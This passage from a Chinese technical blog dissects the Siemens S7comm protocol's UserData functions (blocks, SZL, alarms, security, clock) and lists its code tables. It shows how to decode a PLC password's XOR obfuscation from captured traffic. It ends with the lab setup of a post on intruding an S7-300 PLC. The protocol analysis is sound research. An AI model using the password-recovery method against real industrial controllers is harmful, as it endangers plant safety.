    • ...(不同的Syntax Id,则结构不一样。)
  • ...
  • n (varibale bytes) : Item n;

举个栗子:


图51 循环读取DB 100.DBX 2.0的请求报文

如图51所示,则是读取DB 100.DBX 2.0的请求报文。

响应报文的Data结构如下:

  • 1 (1 byte) : 返回码(return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),具体可参考6.4.2
  • 3 (2 bytes) : 以此往后的数据长度,如图52为8个字节;
  • 4 (2 bytes) : Item个数;
  • 5 (varibale bytes) : Item 1;
    • 1 (1 byte) : 返回码(return code),具体的可参考6.6
    • 2 (1 byte) : 数据传输大小(Transport sizes),具体可参考6.4.2
    • 3 (2 bytes) : 以此往后的数据长度,如图52为2个字节;
    • 4 (varibale bytes) : 数据;
  • ...
  • n (varibale bytes) : Item n;

图51的响应报文如图52所示:


图52 循环读取DB 100.DBX 2.0的响应报文

从图52中,得知DB 100.DBX 2.0的值是61a8

5.3.4 块功能(Block functions [0x3])

块功能(Block functions)是用于操作块,所有的子功能码有:

  • 0x01:列举所有块(List blocks);
  • 0x02:列举块类型(List blocks of type);
  • 0x03:读取块的信息(Get block info)。

为了更好介绍该功能,在这里使用Snap7 Client Demo工具分别进行列举块(List blocks)、列举模块类型(List blocks of type)、读取块的信息(Get block info),如图53所示(以读取DB块为例):


图53 块操作

那么接下来将一一介绍。

5.3.4.1 列举所有块(List blocks)

在PLC中有各种块,比如DB、OB、FB,可以通过block functions中的子功能码list blocks进行块的列举,请求报文如图54所示:


图54 列举块的请求报文

所以,它的请求报文的结构跟图45一致。

接着,它的响应报文如图55所示:

图55 列举块的响应报文

所以,响应报文的Data结构如下:

  • 1 (1 byte) : 返回码(return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),具体可参考6.4.2
  • 3 (2 bytes) : 以此往后的数据长度。如图55为28个字节,每个块的长度为4,所以共有7个块;
  • 4 (4 bytes) : Item 1;
    • 1 (2 bytes) : 块的类型(Block type),具体的可参考6.7
    • 2 (2 bytes) : 块的个数(Block count);
  • ...
  • n (4 bytes) : Item n;

如图55所示,在该PLC中共有7个块,分别是0BFBFCDBSDBSFCSFB,其个数分别是1、3、0、5、11、64、11。

5.3.4.2 列举块类型(List blocks of type)

接下来,将以DB块为例,介绍列举模块类型(List blocks of type)。

所以,在请求报文的Data部分中需要携带块类型(Block type),如图56所示:

图56 列举DB块类型的请求报文

那响应报文有何如呢?先来看结果,等会再分析,如图57所示;

图57 列举DB块类型的响应报文

所以,响应报文Data结构如下:

  • 1 (1 byte) : 返回码(return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),具体可参考6.4.2
  • 3 (2 bytes) : 以此往后的数据长度。如图57为20个字节,每个DB块的长度为4,所以共有5个DB块;
  • 4 (4 bytes) : Item 1;
    • 1 (2 bytes) : 块编号(Block number);
    • 2 (1 byte) : Unknown,可能是块的标记;
    • 3 (1 byte) : 语言(Block language),图56请求的DB块,所以块语言也是DB,跟图57吻合。常见的块语言:
      • 0x00:Not defined,未定义;
      • 0x01AWL
      • 0x02KOP
      • 0x03FUP
      • 0x04SCL
      • 0x05DB
      • 0x06GRAPH
      • 0x07SDB
      • 0x08CPU-DB,是由PLC程序创建的DB块;
      • 0x11SDB (after overall reset),经常出现在SDB 1和SDB 2中;
      • 0x12SDB (Routing),经常出现在SDB 999和SDB 1000中;
      • 0x29:ENCRYPT,块通过S7-Block-Privacy加密;
  • ...
  • n (4 bytes) : Item n;

由此可见,在该PLC中共有5DB块,其编号分别是DB1DB2DB3DB4DB100

5.3.4.3 读取模块的信息(Get block info)

接下来,将以DB100为例,进行读取该块的信息。

在请求报文的Data部分中需要携带块类型(Block type)、块编号(Block number)、文件系统(filesystem),Header、Parameter结构和图45一致,而Data结构如下:

  • 1 (1 byte) : 返回码(return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),具体可参考6.4.2
  • 3 (2 bytes) : 以此往后的数据长度;
  • 4 (2 bytes):块的类型(Block type),具体的可参考6.7
  • 5 (5 bytes):块编号(Block number);
  • 6 (1 byte):文件系统(Filesystem);

举个栗子,如图58所示:


图58 读取DB100信息的请求报文

那响应报文有如何呢?如图59所示:

图59 读取DB100信息的响应报文

哇哦,好多信息啊,响应报文Data结构如下:

  • 1 (1 byte) : 返回码(return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),具体可参考6.4.2
  • 3 (2 bytes) : 以此往后的数据长度;
  • 4 (2 bytes):块类型(Block type);
  • 5 (2 bytes):信息的长度(Length of Info),以此往后的长度;
  • 6 (2 bytes):未知信息(Unknown blockinfo);
  • 7 (2 bytes):常数3(Constant 3),一直是pp
  • 8 (1 byte):未知信息(Unknown byte(s) blockinfo);
  • 9 (1 byte):块标志(Block flags);
  • 10 (1 byte):语言(Block language);
  • 11 (1 byte):字块(Subblk type),常见的字块有:
    • 0x08:OB
    • 0x0a:DB
    • 0x0b:SDB
    • 0x0c:FC
    • 0x0d:SFC
    • 0x0e:FB
    • 0x0f:SFB
  • 12 (2 bytes):块编号(Block number);
  • 13 (4 bytes):需要的装载存储器大小(Length load memory);
  • 14 (4 bytes):安全(Block Security);
  • 15 (6 bytes):代码上次修的时间(Code Timestamp);
  • 16 (6 bytes):接口上次修的时间戳(Interface Timestamp);
  • 17 (2 bytes):SSB长度(SSB length);
  • 18 (2 bytes):ADD长度(ADD length);
  • 19 (2 bytes):本地数据长度(Localdata length);
  • 20 (2 bytes):MC7代码长度(MC7 code length);
  • 21 (8 bytes):作者(Author);
  • 22 (8 bytes):系列(Family);
  • 23 (8 bytes):名称(标题)(Name (Header));
  • 24 (1 byte):版本(标题)(Version (Heade);
  • 25 (1 byte):未知信息(Unknown byte(s) blockinfo);
  • 26 (2 bytes):校验码(Block checksum);
  • 27 (4 bytes):预留(Reserved 1);
  • 28 (4 bytes):预留(Reserved 2)

从图59得知的信息跟图60、61吻合。


图60 DB100的常规信息1

图61 DB100的常规信息2

OK,到这里,块操作就介绍完了。

5.3.5 CPU功能(CPU functions [0x4])

CPU功能(CPU functions)是用于操作块,所有的子功能码有:

  • 0x01:读系统状态列表(Read SZL);
  • 0x02:消息服务(Message service);
  • 0x03:诊断消息(Diagnostic message),PLC的诊断消息;
  • 0x05ALARM_8显示(ALARM_8 indication), PLC使用ALARM_8 SFBs来显示报警消息;
  • 0x06NOTIFY显示(NOTIFY indication),PLC使用NOTIFY SFBs来显示NOTIFY消息;
  • 0x07ALARM_8锁定(ALARM_8 lock), 需要通过HMI/SCADA锁定ALARM消息;
  • 0x08ALARM_8取消锁定(ALARM_8 unlock), 需要通过HMI/SCADA取消锁定ALARM消息;
  • 0x09SCAN显示(SCAN indication),PLC显示SCAN消息;
  • 0x0bALARM确认(ALARM ack),报警信息已在HMI/SCADA中得到确认;
  • 0x0cALARM确认显示(ALARM ack indication), 从CPU到HMI的确认报警显示;
  • 0x0dALARM锁定显示(ALARM lock indication),从CPU到HMI的锁定报警显示;
  • 0x0eALARM取消锁定显示(ALARM unlock indication),从CPU到HMI的取消锁定报警显示;
  • 0x11ALARM_SQ显示(ALARM_SQ indication),PLC使用ALARM_SQ/ALARM_DQ SFCs来显示ALARM消息;
  • 0x12ALARM_S显示(ALARM_S indication),PLC使用 ALARM_S/ALARM_D SFCs来显示ALARM消息; 
  • 0x13ALARM查询(ALARM query),HMI/SCADA查询ALARM
  • 0x16NOTIFY_8显示(NOTIFY_8 indication)。

接下来,将从系统状态列表(SZL)、告警消息及告警查询、诊断消息、消息服务四大块进行介绍。

5.3.5.1 系统状态列表(SZL)

系统状态列表(德语:System-ZustandsListen,英语:System Status Lists)用于描述可编程逻辑控制器的当前状态。SZL的内容只能通过信息功能进行读取,而不能修改。换言之,部分列表是虚拟列表,只是在有特殊请求时由CPU的操作系统所创建。

只能通过SFC 51 "RDSYSST"读取一个系统状态列表。

系统状态列表包含下列内容的有关信息:

  • 系统数据
  • CPU 中的模块状态数据
  • 模块的诊断数据
  • 诊断缓冲区

如果要读取系统状态列表,则需要使用参数SZL-IDINDEX指定要读取的内容。比如:读取PLC的名称,那SZL-IDW#16#011CINDEXW#16#0001,如图62所示:


图62 读取PLC的名称

每个部分系统状态列表都有一个编号。可以根据编号输出完整的部分列表或摘录。 预定义了可能的部分列表摘录,并由一个数字标识。SZL-ID由部分列表的编号、部分列表摘录的编号和模块等级组成。

SZL-ID为一个字长。SZL-ID中的各个位的含义如图63所示:


图63 SZL-ID的结构

下表列出了所有可能的部分列表及其包含在SZL-ID中的编号:

部分列表  SZL-ID
模块标识  W#16#xy11
CPU特征  W#16#xy12
用户存储区  W#16#xy13
系统区域  W#16#xy14
块类型  W#16#xy15
模块LED的状态  W#16#xy19
组件标识 W#16#xy1C
中断状态  W#16#xy22
过程映像分区和OB之间的分配  W#16#xy25
通讯状态数据  W#16#xy32
H CPU组信息  W#16#xy71
模块LED的状态  W#16#xy74 
在H系统中切换的DP从站  W#16#xy75 
DP主站的系统信息 W#16#xy90
模块状态信息  W#16#xy91
机架/站的状态信息  W#16#xy92 
机架/站的状态信息  W#16#0x94 
扩展DP主站系统信息  W#16#xy95 
模块状态信息、PROFINET IO和PROFIBUS DP  W#16#xy96 
CPU的诊断缓冲区  W#16#xyA0 
模块诊断信息(数据记录 0) W#16#00B1 
模块诊断信息(数据记录 1)、地理地址  W#16#00B2 
模块诊断信息(数据记录 1)、逻辑地址  W#16#00B3 
DP从站的诊断数据  W#16#00B4 

首先,还是先来介绍请求报文的结构,如图64所示:


图64 读SZL的请求报文结构

图64和图45的Header、Parameter结构一致,而Data结构有所不同,如下:

  • 1 (1 byte) : 返回码(return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),具体可参考6.4.2
  • 3 (2 bytes) : 以此往后的数据长度;
  • 4 (2 bytes):SZL-ID;
  • 5 (2 bytes):SZL-Index;

接下来,以SZL-ID是W#16#xy1C,Index是W#16#0001为例,它的请求报文如图65所示:


图65 用户组态名称的请求报文

根据《SIMATIC System Software for S7-300/400 System and Standard Functions - Volume 1/2》34.11 SSL-ID W#16#xy1C - Component Identification的内容,所以部分列表W#16#xy1C的响应报头结构,如图66所示:


图66 读组件标识的响应报文结构

图66中的Data结构如下:

  • 1 (1 byte) : 返回码(return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),具体可参考6.4.2
  • 3 (2 bytes) : 以此往后的数据长度;
  • 4 (2 bytes):SZL-ID,部分列表摘录的SZL-ID,以W#16#xy1C为例,常见的SZL-ID如下:
    • W#16#001C:所有组件的标识;
    • W#16#011C:一个组件的标识;
    • W#16#021C:H系统中一个CPU的所有组件的标识;
    • W#16#031C:H系统中所有冗余CPU的一个组件的标识;
    • W#16#0F1C:仅限SSL部分列表报头信息;
  • 5 (2 bytes):SZL-Index,不同的SZL-ID那SZL-Index不一样。以W#16#011CW#16#031C的部分列表摘录的组件标识:
    • W#16#0001:自动化系统的名称;
    • W#16#0002:模块名称;
    • W#16#0003:模块的设备标识;
    • W#16#0004:版权;
    • W#16#0005:模块的序列号;
    • W#16#0007:模块类型名称;
    • W#16#0008:存储卡的序列号在不能插入存储卡的模块中,不提供 数据记录;
    • W#16#0009:CPU模块的制造商和配置文件;
    • W#16#000A:模块的OEM ID(仅限 S7-300);
    • W#16#000B:模块的位置指定;
  • 6 (2 bytes):部分列表的长度(SZL partial list length in bytes),不同的SZL-ID那长度不一样;
  • 7 (2 bytes):部分列表的个数(SZL partial list count);
  • 8 (34 bytes):SZL 1;
  • ...
  • n (34 bytes):SZL n;

则图65的响应报文,如图67所示:


图67 用户组态名称的响应报文

从图67得知,该用户组态名称是SIMATIC 300 Station(1)

上面只是以SZL-ID是W#16#xy1C为例,而不同的SZL-ID,响应报文也不一样,具体结构可参考《SIMATIC System Software for S7-300/400 System and Standard Functions - Volume 1/2》中34章内容。

5.3.5.2 消息服务(Message service)

 消息服务(Message service)主要用于订阅事件,比如:切换工作模式事件、系统诊断事件等。

它的Header、Parameter结构和图45一致,而Data结构如下:

  • 1 (1 byte) : 返回码(return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),具体可参考6.4.2
  • 3 (2 bytes) : 以此往后的数据长度;
  • 4 (1 byte):订阅事件(Subscribed events),常见的事件有:
    • 0x01(MODE):切换工作模式;
    • 0x02(SYS):系统诊断;
    • 0x04(USR):用户定义的诊断消息;
    • 0x08:未知;
    • 0x10:未知;
    • 0x20:未知;
    • 0x40:未知;
    • 0x80(ALM):程序块消息,附加字段中的消息类型;
  • 5 (1 byte):未知(Unknown);
  • 6 (varibale bytes):用户名(Username);

举个栗子,如图68所示:


图68 消息服务的请求报文

从图68中可知,订阅事件是0x03(工作模式转换、系统诊断),订阅用户是asmess

那看一下其响应报文如何?如图69所示:


图69 消息服务的响应报文

订阅的结果是0x02,我也母鸡啥意思啊Face with Cold Sweat

5.3.5.3 诊断消息(Diagnostic message)

诊断消息(Diagnostic message)通常是诊断缓冲区(如图70所示)中的数据,从5.3.5.1得知可以通过SZL-ID为0x00a0、Index为0读取。


图70 诊断缓冲区

首先,它的Header、Parameter结构和图45一致,如图71所示:


图71 诊断信息的报文结构

所以,Data部分的结构如下:

  • 1 (1 byte) : 返回码(return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),具体可参考6.4.2
  • 3 (2 bytes) : 以此往后的数据长度;
  • 4 (2 bytes):事件ID(Event ID);
  • 5 (1 byte):优先级(Priority class);
  • 6 (1 byte):OB编号(OB number);
  • 7 (2 bytes):DatID;
  • 8 (2 bytes):附加信息(Additional information 1);
  • 9 (4 bytes):附加信息(Additional information 2);
  • 10 (8 bytes):时间戳;

在这里,需要介绍一下事件ID。每个事件都分配有事件ID,而事件ID的结构如图72所示:


图72 事件ID的结构

那事件ID的内容,包括:

  • 0-7位:事件编号(Event Number);
  • 8-11位:识别(IDs),标识符用于区分事件的类型。四个位具有下列意义:
    事件ID中的位号 含义
    8 =0 事件离开状态
    =1 事件进入状态
    9 =1 诊断缓冲区中的条目
    10 =1 内部错误
    11 =1 外部错误
  • 12-15位:事件等级(Event Class),时间等级如下所示:
    编号 事件等级
    1 标准 OB 事件
    2 同步错误
    3 异步错误
    4 模式转换
    5 运行期事件
    6 通讯事件;
    7 故障安全和容错系统事件
    8 模块上的标准诊断数据
    9 预定义用户事件
    A 可自由定义的事件
    B 可自由定义的事件
    C 保留
    D 保留
    E 保留
    F 除 CPU 以外的模块(例如,CP、FM)的事件

举个栗子:


图73 W#16#4304事件

图73中,事件等级是0x4(模式转换),事件标识是0100 0011 0000 0100(2)(事件进入状态,诊断缓冲区中的条目),事件编号是0x04,所以事件是PG STOP操作或SFB 20"STOP"导致STOP模式;事件时间是2018-11-12 13:08:46.394。

更多的事件可参考SIMATIC System Software for S7-300/400 System and Standard Functions - Volume 1/2》中35章内容。

5.3.5.4 告警消息及告警查询

在这里,把ALARM_8显示(0x05)、NOTIFY显示(0x06)、ALARM_8锁定(0x07)、ALARM_8取消锁定(0x08)、SCAN显示(0x09)、ALARM确认(0x0b)、ALARM确认显示(0x0c)、ALARM锁定显示(0x0d)、ALARM取消锁定显示(0x0e)、ALARM_SQ显示(0x11)、ALARM_S显示(0x12)、ALARM查询(0x13)、NOTIFY_8显示(0x16)共13个子功归纳为告警信息。

这13个子功能码都结构都差不多,如果将13个子功能都一一介绍的话,将会浪费大量的篇幅去写,为此,接下来将介绍ALARM_8显示(0x05)、ALARM查询(0x13)两个子功能。

packet-s7comm.c#L4935-L4955中,将这13个子功能码分为两类:一类是告警信息(packet-s7comm.c#L3942-L4132),一类是告警信息查询(packet-s7comm.c#L4132-L4266)。

先来看一下ALARM查询(0x13),它的请求报文如图74所示:


图74 查询告警的请求报文

结合图74可知,它的Header、Parameter结构和图45一致,而Data部分的结构如下:

  • 1 (1 byte) : 返回码(return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),具体可参考6.4.2
  • 3 (2 bytes) : 以此往后的数据长度;
  • 4 (1 byte):功能标识(Function identifier);
  • 5 (1 byte):消息对象个数(Number of message objects);
  • 6 (varibale byte):Message Object 1;
    • 1 (1 byte):Variable specification;
    • 2 (1 byte):以下规范地址的长度(Length of following address specification);
    • 3 (1 byte):Syntax Id,常见的结构标识可参考6.5
    • 4 (1 byte):Unknown;
    • 5 (1 byte):查询类型(Querytype),类型有:
      • 0x01:告警类型(ByAlarmtype);
      • 0x03:事件ID(ByEventID);
      • 0x08:Unknown;
      • 0x09:Unknown;
    • 6 (1 byte):Unknown;
    • ...
  • ...
  • n (varibale byte):Message Object n;

那么响应报文又如何呢?如图75所示:


图75 查询告警的响应报文

结合图75可知,响应报文中Data部分的结构如下:

  • 1 (1 byte) : 返回码(Return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),具体可参考6.4.2
  • 3 (2 bytes) : 以此往后的数据长度;
  • 4 (1 byte):功能标识(Function identifier);
  • 5 (1 byte):消息对象个数(Number of message objects);
  • 6 (1 byte) : 数据传输大小(Transport sizes);
  • 7 (2 bytes) : 完整数据长度,也就是以此往后的数据长度;
  • 8 (varibale byte):Message Object 1;
    • 1 (1 byte) :长度(Length of dataset);
    • 2 (2 bytes):Unknown;
    • 3 (1 byte):告警类型(Alarmtype);
    • 4 (4 bytes):事件ID;
    • 5 (1 byte):Unknown;
    • 6 (1 byte):事件状态(EventState);
    • 7 (1 byte):AckState going;
    • 8 (1 byte):AckState coming;
  • ...
  • n (varibale byte):Message Object n;

Ok,告警查询介绍完了,接下来,将介绍ALARM显示、ALARM锁定/解锁、ALARM确认、NOTIFY显示。

往往这类报文都是以PUSH的形式存在,还是先来看个栗子吧,如图76所示:


图76 ALERM_8显示的报文

结合图76可知,它的Header、Parameter结构和图45一致,而Data部分的结构如下:

  • 1 (1 byte) : 返回码(Return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),具体可参考6.4.2
  • 3 (2 bytes) : 以此往后的数据长度;
  • 4 (8 bytes):事件时间,如果subfunc是0x09,那长度为2 bytes;
  • 5 (1 byte):功能标识(Function identifier);
  • 6 (1 byte):消息对象个数(Number of message objects);
  • 7 (varibale byte):Message Object 1;
    • 1 (1 byte):Variable specification;
    • 2 (1 byte):长度(Length of following address specification);
    • 3 (1 byte):Syntax Id,常见的结构标识可参考6.5
    • 4 (1 byte):相关值数目(Number of associated values);
    • 5 (4 bytes):事件ID;
    • 6 (1 byte):事件状态(EventState);
    • 7 (1 byte):状态(State);
    • 8 (1 byte):AckState going;
    • 9 (1 byte):AckState coming;
    • 10 (varibale bytes):Associated value 1;
      • 1 (1 byte) : 返回码(Return code);
      • 2 (1 byte) : 数据传输大小(Transport sizes);
      • 3 (2 bytes) : 长度;
      • 4 (varibale bytes):Data;
    • ...
    • n (varibale bytes):Associated value n;
    ...
  • n (varibale byte):Message Object n;

说明:上面蓝色部分为可变项,不同的子功能则不同。

从图76得知,事件时间是1994-01-06 0053:51.396,事件ID是0x000000c2,至于其他的信息,大家自己对照一下就一目了染。

终于,终于,终于Grimacing Face...将CPU功能组介绍完了,内容太太太...复杂啦Fearful FaceSkull

5.3.6 安全功能(Security [0x5])

安全功能(Security)是用于安全设置,比如:设置PLC密码,所有的子功能码有:

  • 0x01:PLC密码(PLC password);
  • 0x02:清除密码(Clear PLC password)。

这个功能貌似挺鸡肋的Fearful Face,为了更好的介绍它,将使用工具SNAP7进行操作,如图77所示:


图77 SNAP7安全设置

在Wireshark中,并没有对该功能组进行解析,下面都是根据经验分析而来的。

Ok,言归正传,先介绍请求报文的结构,如图78所示:


图78 安全功能的请求报文结构

结合图78可知,它的Header、Parameter结构和图45一致,而Data部分的结构如下:

  • 1 (1 byte) : 返回码(return code),具体的可参考6.6
  • 2 (1 byte) : 数据传输大小(Transport sizes),具体可参考6.4.2
  • 3 (2 bytes) : 数据长度;
  • 4 (varibale byte):Data;

以设置PLC密码(PLC password)为例,如图79所示:


图79 设置PLC密码的请求报文

重点介绍一下Data,图79中Data是64 67 02 06 62 65 00 08,逆向其密码过程如下:

  • 第1位:0x64 ^ 0x55 = 0x31,则值是‘1’
  • 第2位:0x67 ^ 0x55 = 0x32,则值是‘2’
  • 第3位:0x02 ^ 0x55 ^ 0x64 = 0x33,则值是‘3’
  • 第4位:0x06 ^ 0x55 ^ 0x67 = 0x34,则值是‘4’
  • 第5位:0x62 ^ 0x55 ^ 0x02 = 0x35,则值是‘5’
  • 第6位:0x65 ^ 0x55 ^ 0x06 = 0x36,则值是‘6’
  • 第7位:0x00 ^ 0x55 ^ 0x62 = 0x37,则值是‘7’
  • 第8位:0x08 ^ 0x55 ^ 0x65 = 0x38,则值是‘8’

所以得出密码是12345678,那其加密算法也就一目了然了。

而响应报文就更简单了,如图80所示:


图80 安全操作的响应报文结构

就不介绍了吧,前面已经介绍的很详细了。

5.3.7 PBC BSEND/BRECV [0x6]

What?PBC、BSEND、BRECV?这都是啥玩意啊,可能有很多人都没遇到这种操作,先解释一下这是啥玩意?

  • PBC:Programmable Block Functions,可编程块函数,比如:SFB/FB;
  • BSEND/BRCV:到通信伙伴的固定数据块传送。也就是说,在通信伙伴中的接收函数(BRCV)接受该数据之前,数据传送不会结束。

目前,作者手上没有相关资料,就不详细介绍,以后有机会再补上,挖个坑Face with Tears of JoyFace with Tears of JoyFace with Tears of Joy

5.3.8 时间功能(Time functions [0x7])

时间功能(Time functions)是用于时间设置,比如:设置时间,所有的子功能码有:

  • 0x01:读时间(Read clock);
  • 0x02:设置时间(Set clock);
  • 0x03:读时间(Read clock (following));
  • 0x04:设置时间(Set clock)。

读取、设置时间的请求报文、响应报文中头(Header)、参数(Parameter)结构和图45一致,而Data的结构则不一样,具体如下:

  • 读取时间的Data结构如下:
    • 1 (1 byte) : 返回码(return code),具体的可参考6.6
    • 2 (1 byte) : 数据传输大小(Transport sizes),通常有bit、byte等,具体可参考6.4.2
    • 3 (2 bytes) : 以此往后的数据长度。
  • 设置时间的Data结构如下:
    • 1 (1 byte) : 返回码(return code),具体的可参考6.6
    • 2 (1 byte) : 数据传输大小(Transport sizes),通常有bit、byte等,具体可参考6.4.2
    • 3 (2 bytes) : 以此往后的数据长度;
    • 4 (10 bytes):时间戳。

举个栗子,如下图81所示:


图81 读取时间的请求报文

而它的响应报文也非常简单,在Data域中多一个时间,如图82所示:


图82 读取时间的响应报文

同理可知,设置时间跟读取相反,在这就不介绍了。

5.3.9 NC编程(NC programming [0xf])

目前,作者手上没有相关资料,就不详细介绍,以后有机会再补上,再挖个坑Face with Tears of JoyFace with Tears of JoyFace with Tears of Joy

6 附录

6.1 错误类型

6.1.1 头结构的错误类型

S7comm头结构中常见的错误类型,如下表:

Hex Value 描述
0x00 No error 没有错误
0x81 Application relationship 应用关系
0x82 Object definition 对象定义
0x83 No resources available 没有可用资源
0x84 Error on service processing 服务处理中错误
0x85 Error on supplies 请求错误
0x87 Access error 访问错误

6.1.2 参数中的错误码(Error code in parameter part)

常见的S7Comm参数中的错误码,如下表:

Hex Value 描述
0x0000 No error 无错误
0x0110 Invalid block number 无效的块编号
0x0111 Invalid request length 无效的请求长度
0x0112 Invalid parameter 无效参数
0x0113 Invalid block type 无效的块类型
0x0114 Block not found 块没有发现
0x0115 Block already exists 块已经存在
0x0116 Block is write-protected 块被写保护
0x0117 The block/operating system update is too large 块太大
0x0118 Invalid block number 无效的块编号
0x0119 Incorrect password entered 输入错误的密码
0x011A PG resource error PG资源错误
0x011B PLC resource error PLC资源错误
0x011C Protocol error 协议错误
... ...(省略n条) ...(省略n条)

完整的错误代码,请参考error_code_in_parameter_part.txt

6.2 功能码

6.2.1 JOB和ACK_DATA的功能码

当PDU类型是JOB和ACK_DATA时,常见的功能码,如下表:

Hex Value
0x00 CPU services CPU服务
0xf0 Setup communication 建立通信
0x04 Read Var 读取值
0x05 Write Var 写入值
0x1a Request download 请求下载
0x1b Download block 下载块
0x1c Download ended 下载结束
0x1d Start upload 开始上传
0x1e Upload 上传
0x1f End upload 上传结束
0x28 PI-Service 程序调用服务
0x29 PLC Stop 关闭PLC

6.2.2 UserData的功能组

UserData中常见的功能组,如下表:

功能组
0x0 转换工作模式(Mode-transition)
0x1 工程师命令调试(Programmer commands)
0x2 循环读取(Cyclic data)
0x3 块功能(Block functions)
0x4 CPU功能(CPU functions)
0x5 安全功能(Security)
0x6 PBC BSEND/BRECV
0x7 时间功能(Time functions)
0xf NC编程(NC programming)

6.3 区域(Area names)

PLC中常见的区域类型,如下表:

Hex Value
0x03 System info of 200 family 200系列系统信息
0x05 System flags of 200 family 200系列系统标志
0x06 Analog inputs of 200 family 200系列模拟量输入
0x07 Analog outputs of 200 family 200系列模拟量输出
0x80 Direct peripheral access (P) 直接访问外设
0x81 Inputs (I) 输入(I)
0x82 Outputs (Q) 输出(Q)
0x83 Flags (M) 内部标志(M)
0x84 Data blocks (DB) 数据块(DB)
0x85 Instance data blocks (DI) 背景数据块(DI)
0x86 Local data (L) 局部变量(L)
0x87 Unknown yet (V) 全局变量(V)
0x1c S7 counters (C) S7计数器(C)
0x1d S7 timers (T) S7定时器(T)
0x1e IEC counters (200 family) IEC计数器(200系列)
0x1f IEC timers (200 family) IEC定时器(200系列)

6.4 数据传输大小(Transport Sizes )

6.4.1 Item数据的传输大小(Transport sizes in item data)

下表是Item数据的传输大小:

Hex 描述
1 BIT 位(1位)
2 BYTE 字节(8位)
3 CHAR 字符(8位)
4 WORD 字(16位)
5 INT 整数(16位)
6 DWORD 双字(32位)
7 DINT 有符号的整数(32位)
8 REAL 浮点数(32位)
10 TOD Time of day(32位)
11 TIME IEC时间(32位)
12 S5TIME SIMATIC时间(16位)
15 DATE_AND_TIME 日期和时间
28 COUNTER 计数器
29 TIMER 定时器
30 IEC TIMER IEC定时器
31 IEC COUNTER IEC计数器
32 HS COUNTER HS计数器

上表中的数据类型,参考了STEP 7 V5.4编程使用手册中附录A3.2。

6.4.2 数据的传输大小(Transport sizes in data)

下表是数据部分中的值得传输大小:

Hex 描述
0 NULL  
3 BIT bit access, len is in bits
4 BYTE/WORD/DWORD byte/word/dword access, len is in bits
5 INTEGER integer access, len is in bits
6 DINTEGER integer access, len is in bytes
7 REAL real access, len is in bytes
9 OCTET STRING octet string, len is in bytes

6.5 变量的结构标识(Syntax Ids of variable specification)

下表是常见的变量的结构标识:

Hex 描述
0x10 S7ANY Address data S7-Any pointer-like DB1.DBX10.2
0x13 PBC-R_ID R_ID for PBC
0x15 ALARM_LOCKFREE Alarm lock/free dataset
0x16 ALARM_IND Alarm indication dataset
0x19 ALARM_ACK Alarm acknowledge message dataset
0x1a ALARM_QUERYREQ Alarm query request dataset
0x1c NOTIFY_IND Notify indication dataset
0xa2 DRIVEESANY seen on Drive ES Starter with routing over S7
0xb2 1200SYM Symbolic address mode of S7-1200
0xb0 DBREAD Kind of DB block read, seen only at an S7-400
0x82 NCK Sinumerik NCK HMI access

6.6 返回码(Return Code)

响应报文中Data部分的常见返回码,如下表:

Hex 描述
0x00 Reserved 未定义,预留
0x01 Hardware error 硬件错误
0x03 Accessing the object not allowed 对象不允许访问
0x05 Invalid address 无效地址,所需的地址超出此PLC的极限
0x06 Data type not supported 数据类型不支持
0x07 Data type inconsistent 日期类型不一致
0x0a Object does not exist 对象不存在
0xff Success 成功

6.7 块(Block)

在西门子设备中有8种不同类型的功能块:

Hex 类型 描述
0x3038 OB,ASCII为'08',组织块 OB决定用户程序的结构
0x3039 CMod,ASCII为'09'  
0x3041 DB,ASCII为'0A',数据块 DB是用于存储用户数据的数据区域,除 了指定给一个功能块的数据,还可以定义可以被任何块使用的共享数据
0x3042 SDB,ASCII为'0B',系统和数据块 由编程软件自动生成主要存放PLC的硬件组态等信息,用户无法直接打开和更改
0x3043 FC,ASCII为'0C',功能 FB、FC本质都是一样的,都相当于子程序,可以被其他程序调用(也可以调用其他子程序),FC使用的是共享数据块
0x3044 SFC,ASCII为'0D',系统功能 SFB和SFC集成在S7 CPU中可以让你访问一些重要的系统功能
0x3045 FB,ASCII为'0E',功能块,带背景数据块 FB、FC本质都是一样的,都相当于子程序,可以被其他程序调用(也可以调用其他子程序),FB使用的是背景数据块 
0x3046 SFB,ASCII为'0F',系统功能块 SFB和SFC集成在S7 CPU中可以让你访问一些重要的系统功能

OB、FB、SFB、FC和SFC都包含部分程序,因此也称作逻辑块。每种块类型所允许的块的数量以及块的长度视CPU而定。

他们之间的具体对比,参考OB、FC、FB、SFC、SFB的区别 - CSDN博客

6.8 程序调用服务名(PI service names)

下表是程序调用服务名称及其相关参数:

服务名 描述
_INSE PI-Service _INSE (Activates a PLC module)
_DELE PI-Service _DELE (Removes module from the PLC's passive file system)
P_PROGRAM PI-Service P_PROGRAM (PLC Start / Stop)
_MODU PI-Service _MODU (PLC Copy Ram to Rom)
_GARB PI-Service _GARB (Compress PLC memory)
... ...(省略n条)

完整的错服务名称及其相关参数,请参考PI_service_names.txt

6.9 拓展协议的参数类型

下表是扩展数据中参数类型:

类型
0x0 推送(Push)
0x4 请求(Request)
0x8 响应(Response)
0x3 NC推送(NC Push)
0x7 NC请求(NC Request)
0xb NC响应(NC Response)

7 参考

...

Tags Read More..


通过“震网三代”和Siemens PLC 0day漏洞,实现对工业控制系统的入侵

by LauCyun Mar 5,2018 08:08:22 15,252 views

* 本文首次发表于:http://www.freebuf.com/vuls/163950.html

实验环境:

  • 渗透环境:
    • OS:Kali Linux 2017.3
  • 工程师站:
    • OS:Windows 7 sp1 x64
    • IP:192.168.0.152
  • 仿真平台(仿真伊朗核设施的铀浓缩的离心机):
    • PLC:Siemens S7-300
    • IP:192.168.0.234

    • 图1 仿真平台
  • 漏洞:

0x00 前言

